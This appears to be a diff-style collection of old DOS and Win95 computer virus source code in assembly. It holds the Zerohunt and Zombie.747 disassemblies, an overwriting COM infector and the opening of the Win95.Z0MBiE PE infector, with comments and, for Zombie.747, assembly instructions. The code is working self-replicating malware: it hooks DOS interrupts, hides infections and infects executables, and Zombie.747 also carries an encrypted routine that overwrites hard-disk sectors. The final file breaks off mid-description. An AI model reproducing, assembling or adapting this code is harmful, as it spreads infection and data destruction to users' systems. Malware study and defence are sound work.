db 20h,0BAh, 20h, 20h,0BAh,0D3h
|
||||
db 19h, 02h,0BAh, 19h, 03h, 01h
|
||||
db 0BAh, 19h, 03h, 18h, 19h, 03h
|
||||
db 0BAh, 19h, 03h, 08h,0D3h, 1Ah
|
||||
db 04h,0C4h,0BDh, 20h,0D3h, 1Ah
|
||||
db 03h,0C4h,0BDh, 20h,0BDh, 19h
|
||||
db 05h,0BDh, 19h, 05h,0D3h, 1Ah
|
||||
db 03h,0C4h,0BDh, 20h,0D3h, 1Ah
|
||||
db 03h,0C4h,0BDh, 20h,0D0h, 20h
|
||||
db 20h,0D0h, 19h, 03h,0D0h, 19h
|
||||
db 03h, 01h,0BAh, 19h, 03h, 18h
|
||||
db 19h, 03h,0C8h, 1Ah, 15h,0CDh
|
||||
db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
|
||||
db 0CDh,0BCh, 19h, 03h, 18h, 19h
|
||||
db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h
|
||||
db 0F7h, 09h, 2Fh, 04h,0EAh, 09h
|
||||
db 5Ch, 04h, 1Ah, 03h,0F7h, 01h
|
||||
db 0CDh,0BEh, 19h, 1Bh, 18h
|
||||
|
||||
data_1e equ 0A0h
|
||||
dot_dot db '..',0
|
||||
heap:
|
||||
; The following code is the buffer for the write function
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
finish label near
|
||||
end entry_point
|
||||
|
||||
|
||||
|
||||
; Yeah, the main problem is reproducing the effect in an infected file so
|
||||
; thta when IT runs, IT too will display... That's the GLITCH...
|
||||
;
|
||||
; Also, I had stuck INT 27H in somewhere around the EXIT .EXE...
|
||||
; I don't remember, but it would go resident and suck up memory, yet
|
||||
; since it hooked no interuppts, it just sat there...
|
||||
; Feel free to STUDY this code and distribute it feely for educational
|
||||
; purposes, because in spite of the kidding...I don't "hAcK"... for lack
|
||||
; of a better word...--->>pAgE<<---
|
||||
|
||||
@@ -0,0 +1,270 @@
|
||||
CSEG SEGMENT
|
||||
ASSUME CS:CSEG, ES:CSEG, SS:CSEG
|
||||
org 100h
|
||||
|
||||
; Zerohunt virus
|
||||
; Disassembly by PRiEST
|
||||
; 4-15-93
|
||||
|
||||
|
||||
CMC_JMP equ 0e9f5h ;This is the virus's signature
|
||||
;which is located at the beginning
|
||||
;of infected files, it consist of
|
||||
;a CMC and a JMP
|
||||
|
||||
Mem_Loc equ 21ch ;offset of virus in memory
|
||||
|
||||
Zero_Size equ offset Zero_End-offset Zero_Start ;Size of virus
|
||||
Zero_File_Size equ offset Zero_File_End-offset Zero_Start ;Size of virus in
|
||||
;file
|
||||
|
||||
IVT_21 equ 21h*4h ;offset of Int 21h in IVT
|
||||
IVT_24 equ 24h*4h ;offset of Int 24h in IVT
|
||||
|
||||
Mem_Size equ 413h ;offset of Memory size in BIOS area
|
||||
|
||||
Zerohunt: jmp Zero_Start ;Dummy code
|
||||
nop
|
||||
|
||||
org 21ch ;set new origin
|
||||
|
||||
Zero_Start: call $+3 ;Push IP
|
||||
pop si ;pop IP into SI
|
||||
mov es,ax ;ES = segemnt zero
|
||||
mov di,Mem_Loc ;Offset of memory resident code
|
||||
cmp byte ptr es:[di],0e8h ;This instructions checks to see
|
||||
;if the virus is already in memory
|
||||
;by looking for the call at
|
||||
;Zero_Start in the IVT
|
||||
je Jump_File ;return control to file if in memory
|
||||
mov cx,Zero_Size ;size of virus
|
||||
sub si,3h ;Find offset of Zero_Start
|
||||
rep movsb ;copy us to IVT
|
||||
push es
|
||||
pop ds ;DS = 0
|
||||
mov bx,IVT_21 ;offset of Interrupt 21 in the IVT
|
||||
les si,ds:[bx] ;Get seg:off of Int 21h
|
||||
mov word ptr ds:[bx],offset Zero_21 ;Point Int 21h to us
|
||||
mov word ptr ds:[bx+2h],ax ;point Int 21h to segment 0
|
||||
mov word ptr ds:[Old_21+2h],es ;Save Int 21h
|
||||
mov word ptr ds:[Old_21],si ;Save Int 21h
|
||||
mov al,40h ;40h k
|
||||
mov bx,ds:[Mem_Size] ;Get amount of memory in k's
|
||||
sub bx,ax ;subtract 40h to get segment of mem
|
||||
mul bx ;find address of free memory
|
||||
mov word ptr ds:[High_Mem],ax ;Save segment address
|
||||
xor ax,ax ;Zero out AX
|
||||
Jump_File: push cs
|
||||
push cs
|
||||
pop ds ;Restore DS and ES
|
||||
pop es
|
||||
|
||||
;Self-modifying code that restores the first 4 bytes of an infected .com
|
||||
;file. The Jump_Data defines where to jump when the virus is done, this
|
||||
;is because it only infects files that have a JMP (0e9h) as the first
|
||||
;instruction, any other file gets ignored.
|
||||
|
||||
db 0c7h,6,0,1 ;mov word ptr ds:[100h],
|
||||
File_Data dw 20cdh ;quit to DOS
|
||||
|
||||
db 0c7h,6,2,1 ;mov word ptr ds:[102h],
|
||||
File_Data_2 dw 9090h ;NOPs
|
||||
|
||||
db 0e9h ;Jump
|
||||
|
||||
;This is where the infected program originally jumped to, right now it's
|
||||
;set back to the beginning so that it will terminate to DOS.
|
||||
|
||||
Jump_Data dw 0-(offset Jump_Data_End-offset Zero_Start)
|
||||
Jump_Data_End: ;used to find offset of Zero_Start
|
||||
|
||||
Random_Read: pushf ;Keep stack in order when IRET
|
||||
push cs ;return to this segment
|
||||
call Jump_21 ;Call DOS to read file
|
||||
pushf
|
||||
push ax
|
||||
push es
|
||||
push bx
|
||||
push ds ;save registers
|
||||
mov ah,2fh ;Get address of DTA into ES:BX
|
||||
int 21h
|
||||
push es
|
||||
pop ds ;DTA segment in DS
|
||||
cmp word ptr ds:[bx],CMC_JMP ;Is this file infected?
|
||||
jne Skip_Block_Clean
|
||||
call Stealth ;Hide virus
|
||||
Skip_Block_Clean:pop ds
|
||||
pop bx
|
||||
pop es
|
||||
pop ax ;Pop registers
|
||||
jmp Fix_Flags_Ret ;Fix flags and return
|
||||
|
||||
Handle_Read: pushf ;Keep stack right
|
||||
push cs ;return to this segment
|
||||
call Jump_21
|
||||
pushf ;Save flags
|
||||
jb Fix_Flags_Ret
|
||||
xchg dx,bx ;Address of data read into BX
|
||||
cmp word ptr ds:[bx],CMC_JMP ;File infected?
|
||||
jne Fix_Flags_DX
|
||||
cmp word ptr ds:[bx+2h],ax ;is it valid (? I guess)
|
||||
jnb Fix_Flags_DX
|
||||
call Stealth ;Hide virus
|
||||
|
||||
Fix_Flags_DX: xchg dx,bx ;restore registers
|
||||
Fix_Flags_Ret: popf ;POP flags
|
||||
push bp
|
||||
push ax ;Save registers
|
||||
pushf
|
||||
pop ax ;tranfer flags to ax
|
||||
mov bp,sp ;get stack frame
|
||||
mov ss:[bp+8h],ax ;Save flags directly into stack
|
||||
pop ax
|
||||
pop bp ;POP registers
|
||||
iret
|
||||
|
||||
Stealth: push si ;Save register
|
||||
mov si,bx ;Where code was read to
|
||||
add si,ds:[bx+2h] ;Where virus is in program
|
||||
push word ptr ds:[si+File_Data-Zero_Start] ;original bytes
|
||||
pop word ptr ds:[bx] ;restore them
|
||||
push word ptr ds:[si+File_Data_2-Zero_Start] ;original bytes
|
||||
pop word ptr ds:[bx+2h] ;restore them too
|
||||
add si,4h ;fix for jump
|
||||
push ax
|
||||
push cx ;save registers
|
||||
mov cx,Zero_Size ;Size of virus
|
||||
xor al,al ;Zero out AL
|
||||
Stealth_Loop: mov byte ptr ds:[si],al ;Remove virus from file
|
||||
inc si
|
||||
loop Stealth_Loop
|
||||
pop cx
|
||||
pop ax
|
||||
pop si ;Pop registers
|
||||
retn
|
||||
|
||||
|
||||
Zero_21: cmp ah,21h ;Random read?
|
||||
je Random_Read
|
||||
cmp ah,27h ;Random Block read?
|
||||
je Random_Read
|
||||
cmp ah,3fh ;Handle read?
|
||||
je Handle_Read
|
||||
cmp ax,4b00h ;Execute program?
|
||||
je Infect
|
||||
jmp Jump_21 ;Jump to original Int 21h
|
||||
|
||||
Infect: push es ;save registers
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
push ds
|
||||
mov ax,3d02h ;open file for writing
|
||||
int 21h
|
||||
xchg ax,bx ;handle into BX
|
||||
mov ah,3fh ;read from file
|
||||
xor cx,cx ;Zero CX
|
||||
mov ds,cx ;zero into DS
|
||||
inc cx ;read one byte
|
||||
mov dx,offset Buffer ;read to variable "buffer"
|
||||
mov si,dx ;same into SI
|
||||
pushf ;Keep stack straight after IRET
|
||||
push cs ;Push CS for Far return
|
||||
call Jump_21 ;Call original Interrupt 21
|
||||
cmp byte ptr ds:[si],0e9h ;Is the first instruction a jump?
|
||||
je File_Has_Jump
|
||||
jmp Close_File ;File is not valid, close and quit
|
||||
File_Has_Jump: mov ax,4200h ;Set position from start of file
|
||||
dec cx ;CX now equals 0
|
||||
xor dx,dx ;DX also equals 0
|
||||
int 21h ;set file position to start of file
|
||||
pop ds
|
||||
pop dx ;POP location of file name
|
||||
push dx
|
||||
push ds ;PUSH them back
|
||||
push bx ;Save file handle number
|
||||
push cs
|
||||
pop es ;Set ES to our CS
|
||||
mov bx,offset High_Mem ;offset of variable High_Mem
|
||||
mov ax,4b03h ;Load file
|
||||
int 21h
|
||||
mov ds,es:[bx] ;Get address of High memory
|
||||
mov cx,Zero_File_Size ;size of virus in File
|
||||
mov dx,cx ;same into DX
|
||||
mov bx,ds:[1h] ;Get jump address
|
||||
mov bp,bx ;I don't recall BP being saved!!!
|
||||
xor al,al ;zero out AL
|
||||
Search_Loop: dec bx ;decrement pointer
|
||||
pop di ;Pop handle
|
||||
je Close_File_DI
|
||||
push di ;Save handle again
|
||||
cmp byte ptr ds:[bx],al ;search for zeros
|
||||
je Search_Looper
|
||||
mov cx,dx ;reset counter
|
||||
Search_Looper: loop Search_Loop ;Scan for size of virus
|
||||
mov di,bp ;Get jump address of file
|
||||
sub di,bx ;minus location of zeros
|
||||
sub di,offset Jump_Data_End-offset Zero_Start ;Make jump
|
||||
mov word ptr cs:[Jump_Data],di ;Save original jump address
|
||||
push word ptr ds:[0] ;save original bytes
|
||||
pop word ptr cs:[File_Data] ;Into our own code
|
||||
push word ptr ds:[2h] ;again with bytes 3 and 4
|
||||
pop word ptr cs:[File_Data_2]
|
||||
mov si,Mem_Loc ;location of virus in memory
|
||||
mov cx,dx ;Size of virus in file
|
||||
dec cx ;Size of virus
|
||||
push ds
|
||||
pop es ;ES = segment of free memory
|
||||
push cs
|
||||
pop ds ;DS = our segment
|
||||
mov di,bx ;offset of free space in file
|
||||
rep movsb ;copy virus into file (I gather)
|
||||
sub bx,4h ;subtract for jump to virus
|
||||
mov word ptr es:[2h],bx ;Fix jump
|
||||
mov word ptr es:[0],CMC_JMP ;CMC, then JMP
|
||||
mov di,0cfcfh
|
||||
lds si,ds:[IVT_24] ;fetch address of Int 24h
|
||||
xchg di,ds:[si] ;what the hey!? Computer should
|
||||
;crash if Int 24h is triggered!
|
||||
pop bx ;POP handle number
|
||||
mov ax,5700h ;Get date
|
||||
int 21h
|
||||
push cx
|
||||
push dx ;save original date/time of file
|
||||
push es
|
||||
pop ds ;DS = segment of free memory
|
||||
mov ah,40h
|
||||
mov cx,bp ;size of virus
|
||||
xor dx,dx
|
||||
int 21h ;write to file, I guess the virus
|
||||
pop dx
|
||||
pop cx ;POP the date/time
|
||||
mov ax,5701h ;restore date/time to file
|
||||
int 21h
|
||||
xchg di,bx ;dummy exchange if infection ok
|
||||
Close_File_DI: xchg di,bx ;retore handle from DI for closing
|
||||
Close_File: mov ah,3eh ;close file
|
||||
int 21h
|
||||
lds si,cs:[IVT_24] ;Get Int 24h address from IVT
|
||||
cmp byte ptr ds:[si],0cfh ;Is it to us?
|
||||
jne No_24_Restore ;I know, they're Shitty labels
|
||||
xchg di,ds:[si] ;restore Int 24h
|
||||
No_24_Restore: pop ds
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es ;Pop all registers
|
||||
|
||||
Jump_21: db 0eah ;jmp seg:off
|
||||
Old_21 dd ? ;segment offset of Int 21h
|
||||
|
||||
Buffer db ?
|
||||
|
||||
Zero_End:
|
||||
|
||||
High_Mem dw ? ;Segment of availible memory
|
||||
|
||||
Zero_File_End:
|
||||
|
||||
CSEG ENDS
|
||||
END Zerohunt
|
||||
@@ -0,0 +1,85 @@
|
||||
|
||||
|
||||
|
||||
code segment
|
||||
assume cs:code, ds:code, es:code, ss:nothing
|
||||
|
||||
org 0100h
|
||||
|
||||
|
||||
start: db 8Bh,0DBh
|
||||
|
||||
mov ah,4Eh ;find a file
|
||||
mov cx,0000h ;
|
||||
mov dx,offset filemask ;load searchmask, .COM
|
||||
|
||||
loopy: int 21h
|
||||
|
||||
jb effect ;no files, do effect
|
||||
call infect
|
||||
|
||||
jnz exit
|
||||
mov ah,4Fh ;find next file
|
||||
jmp short loopy
|
||||
;keep looping around
|
||||
|
||||
exit: mov ax,4C00h
|
||||
int 21h
|
||||
effect: mov ax,0040h ;no files to infect
|
||||
mov es,ax ;slant the text on the screen
|
||||
mov di,004Ah
|
||||
mov al,51h
|
||||
stosb
|
||||
int 20h ;and exit
|
||||
|
||||
infect: mov ax,3D02h ;open host, r/w with handle
|
||||
mov dx,009Eh
|
||||
|
||||
int 21h
|
||||
xchg ax,bx ;exchange handle to ax
|
||||
mov ah,3Fh ;read from file
|
||||
mov cx,0002h ;two bytes
|
||||
mov dx,offset ID ;put them in ID buffer
|
||||
|
||||
int 21h
|
||||
cmp Word Ptr ds:[016Dh],0DB8Bh
|
||||
;compare with virus ID
|
||||
pushf
|
||||
jz close_file
|
||||
cwd
|
||||
mov cx,dx ;
|
||||
mov ax,4200h ;reset file pointer
|
||||
;to beginning of file
|
||||
int 21h
|
||||
mov al,00h ;
|
||||
mov ah,57h ;get file date/time
|
||||
|
||||
int 21h ;
|
||||
push cx ;store them
|
||||
push dx ;
|
||||
mov ah,40h ;write virus
|
||||
mov cx,007Fh ;to file
|
||||
mov dx,0100h ;start at beginning
|
||||
|
||||
int 21h ;
|
||||
mov al,01h ;restore file date/time
|
||||
pop dx ;from the stack
|
||||
pop cx ;
|
||||
mov ah,57h ;
|
||||
int 21h ;
|
||||
close_file:
|
||||
|
||||
mov ah,3Eh ;close file
|
||||
int 21h ;
|
||||
popf ;
|
||||
ret ;exit
|
||||
|
||||
|
||||
ID: dw 0000h
|
||||
filemask: db "*.COM" ;searchmask
|
||||
db 00h
|
||||
db "*ZZ* v 1.0"
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,338 @@
|
||||
Zombie
|
||||
|
||||
|
||||
Disassembly by Darkman/29A
|
||||
Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
|
||||
load and execute program, except COMMAND.COM, by appending the virus to the
|
||||
infected COM file.
|
||||
To compile Zombie.747 with Turbo Assembler v 4.0 type:
|
||||
TASM /M ZOMBI747.ASM
|
||||
TLINK /t /x ZOMBI747.OBJ
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h ; Origin of Zombie.747
|
||||
code_begin:
|
||||
call crypt_virus
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
virus_begin:
|
||||
call delta_offset
|
||||
delta_offset:
|
||||
pop bp ; Load BP from stack
|
||||
sub bp,03h ; BP = delta offset
|
||||
jmp virus_begin_
|
||||
stack_end:
|
||||
stack_ db 7ah dup(?) ; Stack
|
||||
stack_begin:
|
||||
int21_addr dd ? ; Address of interrupt 21h
|
||||
virus_seg dw ? ; Segment of virus
|
||||
stack_seg dw ? ; Stack segment
|
||||
stack_ptr dw ? ; Stack pointer
|
||||
infect_off dw offset infect_file-offset virus_begin
|
||||
infect_mark db 04h dup(?) ; infection mark
|
||||
infect_count dw ? ; Infection counter
|
||||
virus_offset equ word ptr $+01h ; Offset of virus
|
||||
infect_code db 0e9h,?,? ; JMP imm16 (opcode 0e9h)
|
||||
origin_code db 0cdh,20h,? ; Original code of infected file
|
||||
code_begin_ dw 100h ; Offset of beginning of code
|
||||
int21_virus proc near ; Interrupt 21h of Zombie.747
|
||||
pushf ; Save flags at stack
|
||||
cmp ax,4b00h ; Load and execute program?
|
||||
je load_and_exe ; Equal? Jump to load_and_exe
|
||||
cmp ax,4b69h ; Zombie.747 function?
|
||||
je virus_functi ; Equal? Jump to virus_functi
|
||||
popf ; Load flags from stack
|
||||
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
|
||||
endp
|
||||
virus_functi:
|
||||
mov bx,ax ; Already resident
|
||||
popf ; Load flags from stack
|
||||
iret ; Interrupt return!
|
||||
load_and_exe:
|
||||
mov cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin
|
||||
call setup_stack
|
||||
popf ; Load flags from stack
|
||||
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
|
||||
setup_stack proc near ; Setup stack of the virus
|
||||
mov cs:[offset stack_seg-offset virus_begin],ss
|
||||
mov cs:[offset stack_ptr-offset virus_begin],sp
|
||||
mov ss,cs:[offset virus_seg-offset virus_begin]
|
||||
mov sp,offset stack_begin-offset virus_begin
|
||||
push ax bx cx dx es ds si di bp
|
||||
call cs:[offset infect_off-offset virus_begin]
|
||||
cmp word ptr cs:[offset infect_count-offset virus_begin],10h
|
||||
jbe load_stack ; Below or equal? Jump to load_stack
|
||||
call payload
|
||||
load_stack:
|
||||
pop bp di si ds es dx cx bx ax
|
||||
mov ss,cs:[offset stack_seg-offset virus_begin]
|
||||
mov sp,cs:[offset stack_ptr-offset virus_begin]
|
||||
ret ; Return!
|
||||
endp
|
||||
payload proc near ; Payload of the virus
|
||||
mov si,offset crypt_begin-offset virus_begin
|
||||
mov cx,(crypt_end-crypt_begin)
|
||||
decrypt_loop:
|
||||
not byte ptr [si] ; Decrypt a byte
|
||||
inc si ; Increase index register
|
||||
loop decrypt_loop
|
||||
crypt_begin:
|
||||
mov ax,303h ; Write disk sector(s)
|
||||
db 31h,0dbh ; XOR BX,BX
|
||||
mov es,bx ; ES:BX = pointer to data buffer
|
||||
mov cx,02h ; CX = sector- and cylinder number
|
||||
mov dx,80h ; DX = drive- and head number
|
||||
int 13h
|
||||
crypt_end:
|
||||
mov si,offset crypt_begin-offset virus_begin
|
||||
mov cx,(crypt_end-crypt_begin)
|
||||
encrypt_loop:
|
||||
not byte ptr [si] ; Encrypt a byte
|
||||
inc si ; Increase index register
|
||||
loop encrypt_loop
|
||||
ret ; Return!
|
||||
endp
|
||||
examine_file proc near ; Examine file
|
||||
cld ; Clear direction flag
|
||||
find_dot:
|
||||
lodsb ; AL = byte of filename
|
||||
cmp al,'.' ; Found the dot in the filename
|
||||
je examine_fil_ ; Equal? Jump to examine_fil_
|
||||
or al,al ; End of filename?
|
||||
loopnz find_dot ; Not zero? Jump to find_dot
|
||||
jz examine_exit ; Zero? Jump to examine_exit
|
||||
examine_fil_:
|
||||
mov ax,[si-06h] ; AX = word of filename
|
||||
or ax,2020h ; Lowcase word of filename
|
||||
cmp ax,'mm' ; COMMAND.COM?
|
||||
je examine_exit ; Equal? Jump to examine_exit
|
||||
lodsw ; AX = word of extension
|
||||
or ax,2020h ; Lowcase word of extension
|
||||
cmp ax,'oc' ; Correct extension?
|
||||
jne examine_exit ; Not equal? Jump to examine_exit
|
||||
lodsb ; AL = byte of extension
|
||||
or al,20h ; Lowcase byte of extension
|
||||
cmp al,'m' ; Correct extension?
|
||||
jne examine_exit ; Not equal? Jump to examine_exit
|
||||
clc ; Clear carry flag
|
||||
ret ; Return!
|
||||
examine_exit:
|
||||
stc ; Set carry flag
|
||||
ret ; Return!
|
||||
endp
|
||||
set_file_pos proc near ; Set current file position
|
||||
xor cx,cx ; Zero CX
|
||||
or dx,dx ; Zero DX?
|
||||
jns set_file_po_ ; Positive? Jump to set_file_po_
|
||||
not cx ; Invert each bit of low-order wor...
|
||||
set_file_po_:
|
||||
mov ah,42h ; Set current file position
|
||||
int 21h
|
||||
ret ; Return!
|
||||
endp
|
||||
infect_file proc near ; Infect COM file
|
||||
mov si,dx ; SI = offset of filename
|
||||
call examine_file
|
||||
jnc open_file ; No error? Jump to open_file
|
||||
jmp infect_exit_
|
||||
open_file:
|
||||
mov ax,3d02h ; Open file (read/write)
|
||||
int 21h
|
||||
jnc read_file ; No error? Jump to read_file
|
||||
jmp infect_exit_
|
||||
read_file:
|
||||
mov bx,ax ; BX = file handle
|
||||
mov dx,cs ; DX = code segment
|
||||
mov ds,dx ; DS " " "
|
||||
mov ah,3fh ; Read from file
|
||||
mov cx,03h ; Read three bytes
|
||||
mov dx,offset origin_code-offset virus_begin
|
||||
int 21h
|
||||
jnc examine_mark ; No error? Jump to examine_mark
|
||||
jmp close_file
|
||||
examine_mark:
|
||||
mov dx,-28h ; DX = low-order word of offset fr...
|
||||
mov al,02h ; Set current file position (EOF)
|
||||
call set_file_pos
|
||||
jc close_file ; Error? Jump to close_file
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov ah,3fh ; Read from file
|
||||
mov cx,04h ; Read four bytes
|
||||
mov dx,offset infect_mark-offset virus_begin
|
||||
int 21h
|
||||
jc close_file ; Error? Jump to close_file
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
cmp word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
|
||||
jne calc_offset ; Not equal? Jump to calc_offset
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
cmp word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
|
||||
je close_file ; Previosly infected? Jump to clos...
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
calc_offset:
|
||||
xor dx,dx ; Zero DX
|
||||
mov al,02h ; Set current file position (EOF)
|
||||
call set_file_pos
|
||||
jc close_file ; Error? Jump to close_file
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
sub ax,03h ; AX = offset of virus
|
||||
mov ds:[offset virus_offset-offset virus_begin],ax
|
||||
mov ax,5700h ; Get file's date and time
|
||||
int 21h
|
||||
push cx dx ; Save registers at stack
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,(code_end-virus_begin)
|
||||
xor dx,dx ; Zero DX
|
||||
int 21h
|
||||
jc infect_exit ; Error? Jump to infect_exit
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
cmp cx,ax ; Written all of the virus?
|
||||
jne infect_exit ; Not equal? Jump to infect_exit
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov al,00h ; Set current file position (SOF)
|
||||
xor dx,dx ; Zero DX
|
||||
call set_file_pos
|
||||
jc infect_exit ; Error? Jump to infect_exit
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,03h ; Write three bytes
|
||||
mov dx,offset infect_code-offset virus_begin
|
||||
int 21h
|
||||
jc infect_exit ; Error? Jump to infect_exit
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
infect_exit:
|
||||
inc word ptr cs:[offset infect_count-offset virus_begin]
|
||||
mov ax,5701h ; Set file's date and time
|
||||
pop dx cx ; Load registers from stack
|
||||
int 21h
|
||||
close_file:
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
infect_exit_:
|
||||
ret ; Return!
|
||||
endp
|
||||
get_psp_own proc near ; Get PSP segment of owner or spec...
|
||||
mov ah,52h ; Get list of lists
|
||||
int 21h
|
||||
mov bx,es:[bx-02h] ; BX = segment of first memory con...
|
||||
mov es,bx ; ES = " " " " "
|
||||
mov bx,es:[01h] ; BX = PSP segment of owner or spe...
|
||||
ret ; Return!
|
||||
endp
|
||||
allocate_mem proc near ; Allocate memory
|
||||
push es ; Save ES at stack
|
||||
mov ax,cs ; AX = segment of PSP for current ...
|
||||
dec ax ; AX = segment of Memory Control B...
|
||||
mov es, ax ; ES = " " " " "
|
||||
mov bx,es:[03h] ; BX = size of memory block in par...
|
||||
pop es ; Load ES from stack
|
||||
sub bx,cx ; Subtract number of paragraphs to...
|
||||
dec bx ; BX = new size in paragraphs
|
||||
mov ah,4ah ; Resize memory block
|
||||
int 21h
|
||||
jc allocat_exit ; Error? Jump to allocat_exit
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov ah,48h ; Allocate memory
|
||||
mov bx,cx ; BX = number of paragraphs to all...
|
||||
int 21h
|
||||
jc allocat_exit ; Error? Jump to allocat_exit
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
dec ax ; AX = segment of Memory Control B...
|
||||
mov es,ax ; ES = " " " " "
|
||||
push es ; Save ES at stack
|
||||
call get_psp_own
|
||||
pop es ; Load ES from stack
|
||||
mov es:[01h],bx ; Store PSP segment of owner or sp...
|
||||
pop es ; Load ES from stack
|
||||
clc ; Clear carry flag
|
||||
allocat_exit:
|
||||
ret ; Return!
|
||||
endp
|
||||
virus_begin_:
|
||||
mov ax,4b69h ; Zombie.747 function
|
||||
xor bx,bx ; Zero BX
|
||||
int 21h
|
||||
cmp bx,4b69h ; Already resident?
|
||||
je virus_exit ; Equal? Jump to virus_exit
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov cx,(data_end-virus_begin+0fh)/10h
|
||||
call allocate_mem
|
||||
jc virus_exit ; Error? Jump to virus_exit
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov si,bp ; SI = delta offset
|
||||
xor di,di ; Zero DI
|
||||
mov cx,(code_end-virus_begin)
|
||||
cld ; Clear direction flag
|
||||
rep movsb ; Move virus to top of memory
|
||||
mov es:[offset virus_seg-offset virus_begin],es
|
||||
push es ; Save ES at stack
|
||||
mov ax,3521h ; Get interrupt vector 21h
|
||||
int 21h
|
||||
mov dx,es ; DX = segment of interrupt 21h
|
||||
pop es ; Load ES from stack
|
||||
mov word ptr es:[offset int21_addr-offset virus_begin],bx
|
||||
mov word ptr es:[offset int21_addr+02h-offset virus_begin],dx
|
||||
mov ax,2521h ; Set interrupt vector 21h
|
||||
push es ; Save ES at stack
|
||||
pop ds ; Load DS from stack (ES)
|
||||
mov dx,offset int21_virus-offset virus_begin
|
||||
int 21h
|
||||
virus_exit:
|
||||
mov ax,cs ; AX = segment of PSP for current ...
|
||||
mov ds,ax ; DS = " " " " " "
|
||||
mov es,ax ; ES = " " " " " "
|
||||
lea si,origin_code ; SI = offset of origin_code
|
||||
sub si,offset virus_begin
|
||||
add si,bp ; Add delta offset to offset of co...
|
||||
mov di,100h ; DI = offset of beginning of code
|
||||
mov cx,03h ; Move three bytes
|
||||
cld ; Clear direction flag
|
||||
rep movsb ; Move the original code to beginning
|
||||
lea bx,code_begin_ ; BX = offset of code_begin_
|
||||
sub bx,offset virus_begin
|
||||
add bx,bp ; Add delta offset to offset of co...
|
||||
jmp [bx]
|
||||
db 'Zombie - Danish woodoo hackers (14AUG91)'
|
||||
code_end:
|
||||
data_end:
|
||||
crypt_virus proc ; Encrypt payload of the virus
|
||||
lea si,crypt_begin ; SI = offset of crypt_begin
|
||||
mov cx,(crypt_end-crypt_begin)
|
||||
crypt_loop:
|
||||
not byte ptr [si] ; Encrypt a byte
|
||||
inc si ; Increase index register
|
||||
loop crypt_loop
|
||||
ret ; Return!
|
||||
endp
|
||||
end code_begin
|
||||
@@ -0,0 +1,974 @@
|
||||
;
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Win95.Z0MBiE ³
|
||||
; ³ v1.01, by Z0MBiE ³
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
;
|
||||
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
|
||||
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
|
||||
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
|
||||
; looks in its export table for the address of the API functions used it the
|
||||
; viral code. This virus has also the feature which consists on looking for
|
||||
; files to infect in the Windows directory as well as in other units. PE in-
|
||||
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
|
||||
; cutables and creating an entry point in it for the virus code. Last but
|
||||
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
|
||||
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
|
||||
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
|
||||
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
|
||||
; cribed there, together with the analysis of Igor Daniloff, same as the one
|
||||
; which follows, describing the behavior of Win95.ZOMBiE.
|
||||
;
|
||||
;
|
||||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
; Win95.Zombie
|
||||
;
|
||||
; Igor Daniloff
|
||||
; DialogueScience
|
||||
;
|
||||
; Win95.Zombie is a nondestructive nonresident encrypted virus which
|
||||
; infects PortableExecutable EXE files. On starting an infected file,
|
||||
; the virus decryptor explodes the main virus body and passes control
|
||||
; to it. The main virus body determines the location of KERNEL32 Export
|
||||
; Table in memory and saves in its code the address of WIN32 KERNEL API
|
||||
; functions that are essential for infecting files.
|
||||
;
|
||||
; Then the virus determines the command line of the currently-loaded
|
||||
; infected program and loads it once again through the WinExec function.
|
||||
; The second virus copy then infects the system. The first virus copy
|
||||
; (that started a second copy the infected program), after completing
|
||||
; the WinExec procedure, returns control to the host program.
|
||||
;
|
||||
; To infect PE EXE files, the virus scans the Windows system folder and
|
||||
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
|
||||
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
|
||||
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
|
||||
